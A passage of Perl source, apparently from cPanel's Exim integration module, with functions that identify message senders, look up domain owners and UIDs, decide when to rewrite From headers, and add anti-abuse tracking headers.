Cpanel::Encoder::Exim::unquoted_encode_string_literal($user) . '}{$value}}}}' ) || ''; } sub getuid { my $user = shift; require Cpanel::Encoder::Exim; my $uid = Exim::expand_string( '${extract{2}{:}{${lookup passwd{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($user) . '}{$value}}}}' ); return defined $uid ? $uid : ''; } sub getdomainowner { my $domain = shift; require Cpanel::Encoder::Exim; substr($domain,0,4,'') if index($domain,'www.') == 0; return Exim::expand_string( '${lookup{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($domain) . '}lsearch{/etc/userdomains}{$value}}' ) || ''; } my %domain_to_user_cache; # This must be cached because we call getusersdomain as root in the archive_incoming_email_local_user_method router # and then we need to read the user out of the memory cache in archiver_incoming_local_user_method since # we no longer have access to read /etc/domainusers at that point. Note, we need to be able to cache multiple # users in case they send a message to multiple system users sub getusersdomain { return '' if !$_[0] || $_[0] eq 'root' || $_[0] =~ tr{/}{} || !-e "/var/cpanel/users/$_[0]"; return ( $domain_to_user_cache{ $_[0] } || ( $domain_to_user_cache{ $_[0] } = lookup_key_in_file( '/etc/domainusers', $_[0] ) ) ); } sub lookup_key_in_file { my ( $file, $key ) = @_; require Cpanel::Encoder::Exim; return Exim::expand_string( '${lookup{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($key) . '}lsearch{' . $file . '}{$value}}' ) || ''; } sub isdemo { my $user = shift; return if ( !$user ); return 0 if $user eq '0' || $user eq '8' || $user eq 'mail' || $user eq 'mailnull' || $user eq 'root'; if ( $user =~ /^\d+$/ ) { return user_exists_in_db( $user, '/etc/demouids' ); } return user_exists_in_db( $user, '/etc/demousers' ); } sub user_exists_in_db { my ( $user, $db ) = @_; # If the user is empty, '0' or only whitespace # we should return 0 as $lookup will always return # 1 even if it does not exist return 0 if !$user || $user !~ tr{ \t}{}c; require Cpanel::Encoder::Exim; return Exim::expand_string( '${lookup{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($user) . '}lsearch{' . $db . '}{1}{0}}' ) || '0'; } my %sender_recent_authed_mail_ips_address_cache; my $get_recent_authed_mail_ips_lookup_method; sub get_recent_authed_mail_ips_text_entry { my ( $sender, $domain ) = get_recent_authed_mail_ips_entry(@_); return join( '|', ( $sender || '' ), $domain ); } sub popbeforesmtpwarn { if ( my @possible_users = _get_possible_users_from_recent_authed_mail_ips_users() ) { return ( "X-PopBeforeSMTPSenders: " . join( ",", @possible_users ) ); } return ''; } sub get_recent_authed_mail_ips_entry { my $log = shift; # SENDING OVER POP B4 SMTP or NOAUTH # case 43151, case 43150 $get_recent_authed_mail_ips_lookup_method = ''; my $sender_host_address = Exim::expand_string('$sender_host_address'); # Exim::log_write("!DEBUG! get_recent_authed_mail_ips_entry sender_host_address=[$sender_host_address] log=[$log]"); my ( $sender, $domain ); if ( exists $sender_recent_authed_mail_ips_address_cache{$sender_host_address} ) { # Exim::log_write("!DEBUG! get_recent_authed_mail_ips_entry sender_host_address=[$sender_host_address] USING CACHE"); ( $sender, $domain, $get_recent_authed_mail_ips_lookup_method ) = @{ $sender_recent_authed_mail_ips_address_cache{$sender_host_address} }; $get_recent_authed_mail_ips_lookup_method = "cached: " . $get_recent_authed_mail_ips_lookup_method; $log = 0; } else { my $recent_authed_mail_ips_users_is_up_to_date = ( stat('/etc/recent_authed_mail_ips_users') )[9] + 7200 > time() ? 1 : 0; my $sender_address_domain; # Exim::log_write("!DEBUG! get_recent_authed_mail_ips_entry sender_host_address=[$sender_host_address] recent_authed_mail_ips_users_is_up_to_date= $recent_authed_mail_ips_users_is_up_to_date"); # If we have a recent_authed_mail_ips_users file that is up to date, we can verify the ip matches if ($recent_authed_mail_ips_users_is_up_to_date) { # This is what the user has claimed as the sender my $sender_address = Exim::expand_string('$sender_address'); my $from_h_domain = Exim::expand_string('${domain:$h_from:}'); my $from_h_localpart = Exim::expand_string('${local_part:$h_from:}'); my $from_h = "$from_h_localpart\@$from_h_domain"; # First we try to find the address in the recent_authed_mail_ips_users file (with a cached exim lookup) if ( my @possible_users = _get_possible_users_from_recent_authed_mail_ips_users() ) { if ( grep { tr/@// ? $from_h eq $_ : $from_h eq $_ . '@' . $primary_hostname } @possible_users ) { $sender = $from_h; $domain = getdomainfromaddress($from_h); $get_recent_authed_mail_ips_lookup_method = "full match of from_h in recent_authed_mail_ips_users"; } elsif ( grep { tr/@// ? $sender_address eq $_ : $sender_address eq $_ . '@' . $primary_hostname } @possible_users ) { $sender = $sender_address; $domain = getdomainfromaddress($sender_address); $get_recent_authed_mail_ips_lookup_method = "full match of sender_address in recent_authed_mail_ips_users"; } elsif ( ( $sender_address_domain = ( split( m/\@/, $sender_address ) )[1] ) && grep( m/\@\Q$sender_address_domain\E$/, @possible_users ) ) { $domain = $sender_address_domain; $sender = '-unknown-@' . $domain; $get_recent_authed_mail_ips_lookup_method = "match of sender_address_domain in recent_authed_mail_ips_users"; } elsif ( grep { tr/@// ? ( $from_h eq $_ ) : ( $from_h_localpart eq $_ && ( !length $from_h_domain || $from_h_domain eq $primary_hostname ) ) } @possible_users ) { $sender = $from_h; $domain = $from_h_domain; $get_recent_authed_mail_ips_lookup_method = "full match of from_h in recent_authed_mail_ips_users"; } elsif ( grep( m/\@\Q$from_h_domain\E$/, @possible_users ) ) { $domain = $from_h_domain; $sender = '-unknown-@' . $from_h_domain; $get_recent_authed_mail_ips_lookup_method = "match of from_h_domain in recent_authed_mail_ips_users"; } elsif ( $possible_users[0] && $possible_users[0] eq '-alwaysrelay-' ) { if ($from_h_domain) { Exim::log_write("$sender_host_address in /etc/alwaysrelay trusting from_h_domain of: $from_h_domain and from_h_localpart: $from_h_localpart"); $domain = $from_h_domain; $sender = $from_h; $get_recent_authed_mail_ips_lookup_method = "in alwaysrelay trusted from_h"; } else { Exim::log_write("$sender_host_address in /etc/alwaysrelay trusting sender_address_domain of: $sender_address_domain"); $domain = $sender_address_domain; $sender = $sender_address; $get_recent_authed_mail_ips_lookup_method = "in alwaysrelay trusted sender_address"; } } else { # If none of them matched, we have to assume they authenticated in some we so we go with the first one $domain = getdomainfromaddress( $possible_users[0] ); $sender = $possible_users[0]; $get_recent_authed_mail_ips_lookup_method = "in recent_authed_mail_ips_users using first address"; } if ( $sender =~ m/^\*/ ) { $sender =~ s/^\*/-unknown-/; } $sender_recent_authed_mail_ips_address_cache{$sender_host_address} = [ $sender, $domain, $get_recent_authed_mail_ips_lookup_method ]; } } # we need to check alwaysrelay since we don't require recentauthedmailiptracker to be enabled if ( !$domain && -e '/etc/alwaysrelay' ) { my $alwaysrelay_result = Exim::expand_string('${lookup{$sender_host_address}iplsearch{/etc/alwaysrelay}{$sender_host_address $value}}'); if ($alwaysrelay_result) { my ( $alwaysrelay_ip, $alwaysrelay_user ) = split( /\s+/, $alwaysrelay_result ); if ($alwaysrelay_user) { $domain = getdomainfromaddress($alwaysrelay_user); $sender = $alwaysrelay_user; $get_recent_authed_mail_ips_lookup_method = "full match in alwaysrelay with recentauthedmailiptracker disabled"; Exim::log_write("$sender_host_address in /etc/alwaysrelay using domain $domain from lookup of $alwaysrelay_user"); } if ( !$domain ) { $domain = $sender_address_domain = ( split( /\@/, Exim::expand_string('$sender_address') ) )[1]; $sender = "-unknown-\@$domain"; $get_recent_authed_mail_ips_lookup_method = "in alwaysrelay with recentauthedmailiptracker disabled"; Exim::log_write("$sender_host_address in /etc/alwaysrelay trusting sender_address_domain of: $sender_address_domain"); } } # no need to check /etc/alwaysrelay as they are automaticlly built into recent_authed_mail_ips_users } } if ($domain) { if ($log) { my $message_exim_id = Exim::expand_string('$message_exim_id'); my $sender_host_name = Exim::expand_string('${if match_ip{$sender_host_address}{+loopback}{localhost}{$sender_host_name}}'); my $sender_host_port = Exim::expand_string('$sender_host_port'); my $recent_authed_mail_ips_local_user = getdomainowner($domain); my $recent_authed_mail_ips_local_uid = user2uid($recent_authed_mail_ips_local_user); Exim::log_write("SMTP connection identification H=$sender_host_name A=$sender_host_address P=$sender_host_port U=$recent_authed_mail_ips_local_user ID=$recent_authed_mail_ips_local_uid S=$sender B=get_recent_authed_mail_ips_entry"); } return ( $sender, $domain, $get_recent_authed_mail_ips_lookup_method ); } return ( '', '', '' ); } sub _get_possible_users_from_recent_authed_mail_ips_users { my $recent_authed_mail_ips_users_result = Exim::expand_string('${lookup{$sender_host_address}lsearch{/etc/recent_authed_mail_ips_users}{$value}}'); return map { s/\/.*$//g if tr/\///; tr/+%:/@/; $_; } split( m/\s*\,\s*/, $recent_authed_mail_ips_users_result ); } my $local_connection_uid; my $local_connection_user; my %sender_host_address_cache; sub get_identified_local_connection_uid { $local_connection_uid; } sub get_identified_local_connection_user { $local_connection_user; } sub identify_local_connection { # passes but not for production # use strict; # On Linux we can identify users by reading /proc/net/tcp* # Since this requires access kernel memory on bsd and we don't have a way # do that under exim users MUST authenticate to send messages from localhost my ( $sender_host_address, $sender_host_port, $received_ip_address, $received_port, $log ) = @_; undef $local_connection_uid; undef $local_connection_user; my $uid; if ( exists $sender_host_address_cache{ $sender_host_address . '__' . $sender_host_port } ) { $uid = $sender_host_address_cache{ $sender_host_address . '__' . $sender_host_port }; $log = 0; } else { local @INC = ( '/usr/local/cpanel', @INC ) if !grep { '/usr/local/cpanel' } @INC; require Cpanel::Ident; $uid = Cpanel::Ident::identify_local_connection( $sender_host_address, $sender_host_port, $received_ip_address, $received_port ); if ( !defined $uid ) { $uid = identify_local_connection_wrapped( $sender_host_address, $sender_host_port, $received_ip_address, $received_port ); } } if ( defined $uid ) { $local_connection_uid = $uid; $sender_host_address_cache{ $sender_host_address . '__' . $sender_host_port } = $local_connection_uid; if ( $uid == -1 ) { Exim::log_write("Could not identify the local connection from $sender_host_address on port $sender_host_port. Please authenticate") if $log; return 0; } $local_connection_user = uid2user($uid); # Log this for tailwatchd Exim::log_write("SMTP connection identification H=localhost A=$sender_host_address P=$sender_host_port U=$local_connection_user ID=$local_connection_uid S=$local_connection_user B=identify_local_connection") if $log; return 1; } else { $sender_host_address_cache{ $sender_host_address . '__' . $sender_host_port } = undef; Exim::log_write("could not identify the local connection from $sender_host_address on port $sender_host_port. Please authenticate") if $log; return 0; } } sub identify_local_connection_wrapped { my ( $address, $port, $localaddress, $localport ) = @_; my $uidline = call_cpwrap( 'IDENTIFYLOCALCONNECTION', $address, $port, $localaddress, $localport ); chomp($uidline) if defined $uidline; my ( $uidkey, $uid ) = split( /:/, $uidline, 2 ); $uid = undef if $uid eq ''; Exim::log_write("/usr/local/cpanel/bin/eximwrap IDENTIFYLOCALCONNECTION $address $port $localaddress $localport failed to return the uid key.") if ( !defined $uidkey || $uidkey ne 'uid' ); return $uid; } my $headers_rewrite_notice = ''; my $new_from_header; use constant { _ENOENT => 2, _EEXIST => 17, _SENDER_SYSTEM => '-system-', }; sub spamd_is_available { require Cpanel::Services::Enabled::Spamd; return eval { Cpanel::Services::Enabled::Spamd::is_enabled() } // do { warn; 1; # this defaults to on for historical reasons }; } sub get_dkim_domain { my $msg_sender_domain = get_message_sender_domain(); if ($msg_sender_domain eq _SENDER_SYSTEM) { $msg_sender_domain = Exim::expand_string('$sender_address_domain'); } return $msg_sender_domain =~ tr<A-Z><a-z>r; } sub sender_domain_can_dkim_sign { require Cpanel::DKIM::ValidityCache; my $sender_domain = get_dkim_domain(); local $@; return eval { Cpanel::DKIM::ValidityCache->get($sender_domain) } // do { warn; q<>; }; } sub discover_sender_information { # If $sender_lookup_method and $check_mail_permissions_sender is already set # we have already discovered the sender if ( !$sender_lookup_method || !$check_mail_permissions_sender ) { my $uid = int( Exim::expand_string('$originator_uid') ); my $gid = int( Exim::expand_string('$originator_gid') ); #Exim::log_write("discover_sender_information calling get_message_sender"); my ( $sender, $real_domain, $domain, $is_mailman ) = get_message_sender( $uid, $gid, 1 ); $check_mail_permissions_sender = $sender if $sender; $check_mail_permissions_is_mailman = $is_mailman; } #Exim::log_write("discover_sender_information calling discover_sender_information"); $new_from_header = get_from_header_rewrite_target(); return 0; } sub get_headers_rewrite { return $new_from_header if $new_from_header; my ($from_h_sender) = _get_from_h_sender(); Exim::log_write("discover_sender_information failed to set the from header rewrite for $from_h_sender"); return $from_h_sender; } sub get_from_header_rewrite_target { $headers_rewrite_notice = ''; my ( $from_h_sender, $from_h_localpart, $from_h_domain ) = _get_from_h_sender(); if ( $sender_lookup_method && $check_mail_permissions_sender ) { my $actual_sender = _get_login_from_check_mail_permissions_sender($check_mail_permissions_sender); #Exim::log_write("!DEBUG! get_from_header_rewrite_target() actual_sender=[$actual_sender] from_h_sender=[$from_h_sender]"); my $qualified_actual_sender = _qualify_as_email_address($actual_sender); my ( $status, $statusmsg ); if ( $sender_lookup_method =~ m{^redirect/forwarder} ) { $headers_rewrite_notice = 'unmodified, forwarded message'; return $from_h_sender; } elsif ($check_mail_permissions_is_mailman) { $headers_rewrite_notice = 'unmodified, sender is mailman'; return $from_h_sender; } elsif ( $from_h_sender eq $actual_sender ) { $headers_rewrite_notice = 'unmodified, already matched'; return $from_h_sender; } else { if ( $actual_sender eq 'mailnull' ) { # handle Mailer-Daemon messages $headers_rewrite_notice = 'unmodified, actual sender is mailnull'; return $from_h_sender; } my $from_h_sender_domainowner = getdomainowner($from_h_domain); # Actual Sender is a system user. if ( $from_h_sender_domainowner && $from_h_sender_domainowner eq $actual_sender ) { $headers_rewrite_notice = 'unmodified, actual sender is system user that owns from domain in the from header'; return $from_h_sender; } elsif ( $from_h_sender eq $qualified_actual_sender ) { $headers_rewrite_notice = 'unmodified, actual sender is the system user'; return $from_h_sender; } elsif ( $actual_sender eq 'root' ) { $headers_rewrite_notice = 'unmodified, actual sender is root'; return $from_h_sender; } elsif ( $actual_sender eq 'mailman' ) { $headers_rewrite_notice = 'unmodified, actual sender is mailman'; return $from_h_sender; } elsif ( $actual_sender !~ tr/\@// && _is_trusted_user($actual_sender) ) { $headers_rewrite_notice = 'unmodified, actual sender is a trusted user'; return $from_h_sender; } elsif ( ( ( $status, $statusmsg ) = _has_valias_pointing_to_actual_sender( $from_h_sender, $actual_sender ) )[0] ) { if ( $statusmsg eq 'valias_exact_match' ) { $headers_rewrite_notice = 'unmodified, there is a forwarder that points to the actual sender.'; } elsif ( $statusmsg eq 'valias_domainowner_match' ) { $headers_rewrite_notice = 'unmodified, there is a forwarder that points to a user owned by actual sender.'; } elsif ( $statusmsg eq 'vdomainaliases_match' ) { $headers_rewrite_notice = 'unmodified, there is a domain forwarder that maps to the actual sender.'; } return $from_h_sender; } else { if ( $actual_sender !~ tr/\@// ) { $headers_rewrite_notice = 'rewritten was: [' . $from_h_sender . '], actual sender is not the same system user'; } else { $headers_rewrite_notice = 'rewritten was: [' . $from_h_sender . '], actual sender does not match'; } Exim::log_write("From: header ($headers_rewrite_notice) original=[$from_h_sender] actual_sender=[$qualified_actual_sender]"); return $qualified_actual_sender; } } } # We have no sender set so we leave it unmodified # AKA unable to determine sender would get here $headers_rewrite_notice = 'unmodified, no actual sender determined from check mail permissions'; return $from_h_sender; } sub get_headers_rewritten_notice { if ($headers_rewrite_notice) { return "X-From-Rewrite: $headers_rewrite_notice"; } return ''; } # # This converts an unqualified address which is just a system # account IE local_part. Into local_part@primary_hostname. # # If the address is already qualified ie has @, it returns returns the # address. # sub _qualify_as_email_address { my ($address) = @_; return $address if $address =~ tr/@//; $primary_hostname ||= Exim::expand_string('$primary_hostname'); return $address . '@' . $primary_hostname; } # # Convert the $check_mail_permissions_sender variable # into the real login that the user has authenticated as # in most cases this is already their email address, however it may # be USER@PRIMARY_HOSTNAME, in which case we want to strip PRIMARY_HOSTNAME # sub _get_login_from_check_mail_permissions_sender { my ($sender) = @_; $primary_hostname ||= Exim::expand_string('$primary_hostname'); $sender =~ s/\@\Q$primary_hostname\E$//; return $sender; } # _has_valias_pointing_to_target lets us know if there # if a forwarder for the address pointing at the target. # # For example ORIGIN bob@cpanel.net # might point to a user account DEST 'bob' # sub _has_valias_pointing_to_actual_sender { my ( $origin, $actual_sender ) = @_; #Exim::log_write("!DEBUG! _has_valias_pointing_to_actual_sender() actual_sender=[$actual_sender] origin=[$origin]"); my $qualified_origin = _qualify_as_email_address($origin); my $qualified_actual_sender = _qualify_as_email_address($actual_sender); my ( $origin_local_part, $origin_domain ) = split( m{@}, $qualified_origin, 2 ); my ( $actual_sender_local_part, $actual_sender_domain ) = split( m{@}, $qualified_actual_sender, 2 ); my $actual_sender_domainowner; require Cpanel::Encoder::Exim; return ( 0, 'invalid_origin_domain' ) if $origin_domain =~ m{/}; if ( file_exists("$VALIASES_DIR/$origin_domain") ) { if ( my $valiases_alias_line = Exim::expand_string( '${lookup{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($origin) . '}lsearch*{' . $VALIASES_DIR . '/' . $origin_domain . '}{$value}}' ) ) { if ( my @forwarders = _get_forwarders_from_string($valiases_alias_line) ) { foreach my $forwarder_destination (@forwarders) { # # Handle exact matches # IE bob@cpanel.net is forwarded to the actual sender # if ( _qualify_as_email_address($forwarder_destination) eq $qualified_actual_sender ) { return ( 1, 'valias_exact_match' ); } # $VALIASES_DIR/dog.com: nick@dog.org: me@samsdomain.org # I send email From: nick@dog.org and I am authenticated as 'sam' it should likely be allowed if ( $actual_sender !~ tr/\@// && $forwarder_destination =~ tr/\@// ) { my ( $forwarder_destination_local_part, $forwarder_destination_domain ) = split( m{@}, $forwarder_destination, 2 ); my $forwarder_destination_domainowner = getdomainowner($forwarder_destination_domain); if ( $actual_sender eq $forwarder_destination_domainowner ) { return ( 1, 'valias_domainowner_match' ); } } } } } } if ( file_exists("$VDOMAINALIASES_DIR/$origin_domain") ) { if ( my $vdomainaliases_alias_line = Exim::expand_string( '${lookup{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($origin_domain) . '}lsearch{' . $VDOMAINALIASES_DIR . '/' . $origin_domain . '}{$value}}' ) ) { my $vdomainaliases_domain = _ws_trim($vdomainaliases_alias_line); if ( ( $origin_local_part . '@' . $vdomainaliases_domain ) eq $qualified_actual_sender ) { return ( 1, 'vdomainaliases_match' ); } } } return ( 0, 'no_match' ); } sub _is_trusted_user { my ($user) = @_; return 0 if !file_exists('/etc/trusted_mail_users'); local $/; open my $trusted_mail_users_fh, '<', '/etc/trusted_mail_users' or return 0; my @trusted_mail_users = split( qq{\n}, <$trusted_mail_users_fh> ); close $trusted_mail_users_fh; return scalar grep { $_ eq $user } @trusted_mail_users; } # # From Cpanel::StringFunc::Trim # sub _ws_trim { my ($this) = @_; my $fix = ref $this eq 'SCALAR' ? $this : \$this; ${$fix} =~ s/^\s+//; ${$fix} =~ s/\s+$//; return ${$fix}; } # # From Cpanel::API::Email # sub _get_forwarders_from_string { my ($forwarder_csv) = @_; # to leave \, as \, uncomment this: # $forwarder_csv =~ s{\\,}{\\\\,}g; my @forwarders = $forwarder_csv =~ /^[\s"]*\:(fail|defer|blackhole|include)\:/ ? ($forwarder_csv) : split( /(?<![\\]),/, $forwarder_csv ); my @parsed_forwarders; for my $forward (@forwarders) { $forward = _ws_trim($forward); next if ( $forward =~ m{^"} ); push @parsed_forwarders, $forward; } return wantarray ? @parsed_forwarders : \@parsed_forwarders; } sub check_mail_permissions_results { return $check_mail_permissions_data; } sub enforce_mail_permissions_results { $enforce_mail_permissions_data; } sub uid2user { my $uid = shift; return exists $uid_cache{$uid} ? $uid_cache{$uid} : ( $uid_cache{$uid} = ( getpwuid($uid) )[0] ); } sub user2uid { my $user = shift; return exists $user_cache{$user} ? $user_cache{$user} : ( $user_cache{$user} = getuid($user) ); } sub get_sender_from_uid { my $uid = int( Exim::expand_string('$originator_uid') ); my $user = uid2user($uid); return getdomainfromaddress($user); } sub mailtrapheaders { $primary_hostname ||= Exim::expand_string('$primary_hostname'); my $original_domain = Exim::expand_string('$original_domain'); my $sender_address_domain = Exim::expand_string('$sender_address_domain'); my $originator_uid = Exim::expand_string('$originator_uid'); my $originator_gid = Exim::expand_string('$originator_gid'); my $caller_uid = Exim::expand_string('$caller_uid'); my $caller_gid = Exim::expand_string('$caller_gid'); my $headers = "X-AntiAbuse: This header was added to track abuse, please include it with any abuse report\n" . "X-AntiAbuse: Primary Hostname - $primary_hostname\n" . "X-AntiAbuse: Original Domain - $original_domain\n" . "X-AntiAbuse: Originator/Caller UID/GID - [$originator_uid $originator_gid] / [$caller_uid $caller_gid]\n" . "X-AntiAbuse: Sender Address Domain - $sender_address_domain\n" . check_mail_permissions_headers() . "\n"; if ( file_exists('/etc/eximmailtrap') ) { my $xsource = $ENV{'X-SOURCE'}; my $xsourceargs = $ENV{'X-SOURCE-ARGS'}; my $xsourcedir = maskdir( $ENV{'X-SOURCE-DIR'} ); $headers .= "X-Source: ${xsource}\n" . "X-Source-Args: ${xsourceargs}\n" . "X-Source-Dir: ${xsourcedir}"; } return ($headers); } sub getdomainfromaddress { my $address = shift; $address =~ s/\/.*$//g if $address =~ tr/\///; # remove /spam if ( $address =~ tr/@+%:// ) { unless ( $address =~ tr/@// ) { # This matches exactly how authentication occurs $address =~ s/[+:%]/@/; } $primary_hostname ||= Exim::expand_string('$primary_hostname'); if ( $address =~ m/[@]\Q$primary_hostname\E$/ ) { return getusersdomain( ( split( m/[@]/, $address, 2 ) )[0] ) || _SENDER_SYSTEM; #from MailAuth.pm } else { return ( split( m/[@]/, $address, 2 ) )[1]; #from MailAuth.pm } } else { return getusersdomain($address) || _SENDER_SYSTEM; } } sub get_message_sender_domain { my ( $uid, $gid, $log ) = @_; $uid = int( Exim::expand_string('$originator_uid') ) if !defined $uid; $gid = int( Exim::expand_string('$originator_gid') ) if !defined $gid; return ( ( get_message_sender( $uid, $gid, $log ) )[1] ) || ''; } sub get_sender_lookup_method { return $sender_lookup_method || 'none'; } sub get_sender_lookup { return $sender_lookup || ''; } sub check_mail_permissions_headers { return "X-Get-Message-Sender-Via: " . ( $primary_hostname ||= Exim::expand_string('$primary_hostname') ) . ": " . get_sender_lookup_method() . "\n" . "X-Authenticated-Sender: " . ( $primary_hostname ||= Exim::expand_string('$primary_hostname') ) . ": " . get_sender_lookup(); } # This must match the logic extactly for Cpanel::TailWatch::EximStats ($direction eq '<=') sub get_message_sender { #passes but not for production #use strict; my ( $uid, $gid, $log ) = @_; my ( $authenticated_local_user, $authenticated_id, $recent_authed_mail_ips_text_entry, $domain, $counted_domain, $sender, $is_mailman, $username ); $sender_lookup_method = ''; my ( $acl_c_vhost_owner, $acl_c_vhost_owner_url ) = split( m{:}, Exim::expand_string('$acl_c_vhost_owner') || '', 2 ); my $message_exim_id = Exim::expand_string('$message_exim_id'); # SMTP AUTH if ( $authenticated_id = Exim::expand_string('$authenticated_id') ) { $authenticated_id =~ s/[\r\n\f]//g; if ( $authenticated_id eq 'nobody' ) { if ($acl_c_vhost_owner) { $authenticated_id = uid2user($acl_c_vhost_owner); } $sender_lookup_method = 'uid via acl_c_vhost_owner from authenticated_id: ' . $authenticated_id . ' from ' . $acl_c_vhost_owner_url; } else { $sender_lookup_method = 'authenticated_id: ' . $authenticated_id; } $sender = $authenticated_id; $domain = getdomainfromaddress($authenticated_id); # If the sender owns the domain they are sending # from we can trust it if ( length $sender && $sender !~ tr/\@// ) { ( $sender, $domain, $sender_lookup_method ) = resolve_authenticated_sender( $sender, $domain, $sender_lookup_method ); } #Exim::log_write("!DEBUG! get_message_sender() got domain $domain from authenticated_id ($authenticated_id)"); } # FROM A CONNECTION TO LOCALHOST (linux only) elsif ( $authenticated_local_user = Exim::expand_string('${if match_ip{$sender_host_address}{+loopback}{$acl_c_authenticated_local_user}{}}') ) { my $authenticated_local_uid = user2uid($authenticated_local_user); my $sender_host_address = Exim::expand_string('$sender_host_address'); my $sender_host_name = Exim::expand_string('${if match_ip{$sender_host_address}{+loopback}{localhost}{$sender_host_name}}'); my $sender_host_port = Exim::expand_string('$sender_host_port'); $domain = getusersdomain($authenticated_local_user) || _SENDER_SYSTEM; $sender = $authenticated_local_user; $sender_lookup_method = 'acl_c_authenticated_local_user: ' . $authenticated_local_user; if ($log) { Exim::log_write("SMTP connection identification H=$sender_host_name A=$sender_host_address P=$sender_host_port M=$message_exim_id U=$authenticated_local_user ID=$authenticated_local_uid S=$sender B=authenticated_local_user"); } #replay for tailwatchd #Exim::log_write("!DEBUG! get_message_sender() got domain $domain from acl_c_authenticated_local_user"); } # RELAY HOSTS elsif ( $recent_authed_mail_ips_text_entry = Exim::expand_string('$acl_c_recent_authed_mail_ips_text_entry') ) { #FIXME: need to get sender ( $sender, $domain ) = split( /\|/, $recent_authed_mail_ips_text_entry ); my $sender_host_address = Exim::expand_string('$sender_host_address'); my $sender_host_name = Exim::expand_string('${if match_ip{$sender_host_address}{+loopback}{localhost}{$sender_host_name}}'); my $sender_host_port = Exim::expand_string('$sender_host_port'); my $recent_authed_mail_ips_local_user = getdomainowner($domain); my $recent_authed_mail_ips_local_uid = user2uid($recent_authed_mail_ips_local_user); $sender_lookup_method = 'acl_c_recent_authed_mail_ips_text_entry: ' . $recent_authed_mail_ips_text_entry; if ($log) { Exim::log_write("SMTP connection identification H=$sender_host_name A=$sender_host_address P=$sender_host_port M=$message_exim_id U=$recent_authed_mail_ips_local_user ID=$recent_authed_mail_ips_local_uid S=$sender B=recent_authed_mail_ips_domain") } #Exim::log_write("!DEBUG! get_message_sender() got domain $domain from acl_c_recent_authed_mail_ips_text_entry"); } elsif ( Exim::expand_string('$received_protocol') eq 'local' ) { my $sender_ident = Exim::expand_string('$sender_ident'); $sender_ident =~ s/[\r\n\f]//g; my $used_vhost_owner_lookup = 0; if ( $sender_ident eq 'nobody' ) { if ($acl_c_vhost_owner) { $used_vhost_owner_lookup = 1; $sender_ident = uid2user($acl_c_vhost_owner); } } $sender = $sender_ident; $domain = getusersdomain($sender_ident) || _SENDER_SYSTEM; $sender_lookup_method = 'sender_ident via received_protocol == local: ' . $sender_ident . ( $used_vhost_owner_lookup ? ' : used vhost owner lookup from: ' . $acl_c_vhost_owner_url : '' ); # If the sender owns the domain they are sending # from we can trust it if ( length $sender && $sender !~ tr/\@// ) { ( $sender, $domain, $sender_lookup_method ) = resolve_authenticated_sender( $sender, $domain, $sender_lookup_method ); } #Exim::log_write("!DEBUG! get_message_sender() got domain $domain from local user ($sender_ident)"); } else { $mail_gid ||= int( ( getgrnam('mail') )[2] ); #Exim::log_write("!DEBUG! mailgid=$mail_gid == gid=$gid (uid=$uid)"); if ( $gid == $mail_gid ) { my ( $recent_authed_mail_ips_sender, $recent_authed_mail_ips_domain, $recent_authed_mail_ips_lookup_method ) = get_recent_authed_mail_ips_entry(); if ($recent_authed_mail_ips_domain) { $sender = $recent_authed_mail_ips_sender; $sender =~ s/[\r\n\f]//g; $domain = $recent_authed_mail_ips_domain; $sender_lookup_method = 'mailgid via get_recent_authed_mail_ips_entry: ' . $sender . "/$recent_authed_mail_ips_lookup_method"; #Exim::log_write("!DEBUG! get_message_sender() got domain $domain from get_recent_authed_mail_ips_entry() or sender_address_domain"); } $primary_hostname ||= Exim::expand_string('$primary_hostname'); if ( $domain && $domain eq $primary_hostname ) { $username = Exim::expand_string('$sender_address_local_part'); $sender = $username; $domain = getusersdomain($username) || _SENDER_SYSTEM; $sender_lookup_method = 'mailgid via primary_hostname' . "/$recent_authed_mail_ips_lookup_method"; } if ( !$domain ) { # If we cannot find the sender and it is not _SENDER_SYSTEM it is a redirected/forwarded message my $parent_domain = Exim::expand_string('$parent_domain'); my $parent_local_part = Exim::expand_string('$parent_local_part'); my $local_part = Exim::expand_string('$local_part'); my $delivery_domain = Exim::expand_string('$domain'); $parent_domain =~ s/[^\w\.\-\/]//g; $parent_local_part =~ s/[^\w\.\-\/]//g; $local_part =~ s/[^\w\.\-\/]//g; $delivery_domain =~ s/[^\w\.\-\/]//g; # If we have a parent_domain its probably a redirect if ( $parent_domain && ( $parent_domain ne $delivery_domain || $parent_local_part ne $local_part ) ) { # If the parent_domain is the primary_hostname its a localuser redirect if ( my $local_user = $parent_domain eq $primary_hostname ? $parent_local_part : getdomainowner($parent_domain) ) { my $local_uid = user2uid($local_user); my $redirected_domain = $parent_domain eq $primary_hostname ? getusersdomain($parent_local_part) : $parent_domain; if ($log) { Exim::log_write("SMTP connection identification D=$redirected_domain O=$parent_local_part\@$parent_domain E=$local_part\@$delivery_domain M=$message_exim_id U=$local_user ID=$local_uid B=redirect_resolver") } ; #replay for tailwatchd $domain = $redirected_domain; $sender = $parent_domain eq $primary_hostname ? $local_user : "$parent_local_part\@$parent_domain"; $sender_lookup_method = "redirect/forwarder owner $parent_local_part\@$parent_domain -> $local_part\@$delivery_domain"; } } } if ( !$domain ) { $sender_lookup_method = 'mailgid no entry from get_recent_authed_mail_ips_entry'; #Exim::log_write("!DEBUG! get_message_sender() failed to get the domain. However the sender domain claims to be $sender_address_domain"); } } else { # FROM A SHELL OR CGI $username = uid2user($uid); if ($username) { if ( $username eq 'nobody' ) { if ($acl_c_vhost_owner) { $username = uid2user($acl_c_vhost_owner); } $sender_lookup_method = 'uid via acl_c_vhost_owner from shell cgi: ' . $username . ' from: ' . $acl_c_vhost_owner_url; } else { $sender_lookup_method = 'uid via shell cgi: ' . $username; } $domain = getusersdomain($username) || _SENDER_SYSTEM; $sender = $username; } # If the sender owns the domain they are sending # from we can trust it if ( length $sender && $sender !~ tr/\@// ) { ( $sender, $domain, $sender_lookup_method ) = resolve_authenticated_sender( $sender, $domain, $sender_lookup_method ); } #Exim::log_write("!DEBUG! get_message_sender() got domain $domain from UID"); } } if ($domain) { $domain =~ s/[^\w\.\-\/]//g; $domain = lc $domain; $counted_domain = $domain; if ($sender) { $sender =~ tr/+%:/@/; $sender =~ s/[^\w\.\-\/\@]//g; if ( $sender eq 'mailman' ) { $is_mailman = 1; $domain = lc Exim::expand_string('$sender_address_domain'); 